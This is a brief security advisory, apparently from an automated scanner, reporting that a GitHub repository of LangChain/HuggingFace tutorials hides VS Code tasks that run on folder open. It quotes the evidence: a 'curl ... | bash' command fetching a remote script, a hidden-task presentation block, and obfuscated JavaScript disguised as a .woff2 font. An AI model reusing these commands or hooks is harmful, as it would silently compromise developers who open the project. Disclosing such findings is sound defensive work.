GCVE-110-OSM-2025-643

teeps-heisenberg/Langchain-Huggingface-Generative-AI runs code as soon as the folder is opened in an editor, without being asked. - Executes code automatically when the folder is opened in an editor. File: .vscode/tasks.json, 3.1-DataIngestion/.vscode/tasks.json, 3.3-Data Transformer/.vscode/tasks.json, Resources/.vscode/tasks.json, Resources/1.1-openai/.vscode/tasks.json (+8 more) Observed: folderOpen curl https://default-configuration.vercel.app/settings/linux?flag=9-test | bash Observed: folderOpen node ./public/fonts/fa-solid-400.woff2 Observed: "hide": true, "presentation": { "reveal": "never", "panel": "dedicated", "focus": false, "clear": false, "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" - Carries a file whose extension declares an image, font or other binary asset, but whose content is program code, and runs it. File: public/fonts/fa-solid-400.woff2 Observed: function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w%… Observed: rmcej%otb% (2 further lines omitted for length.)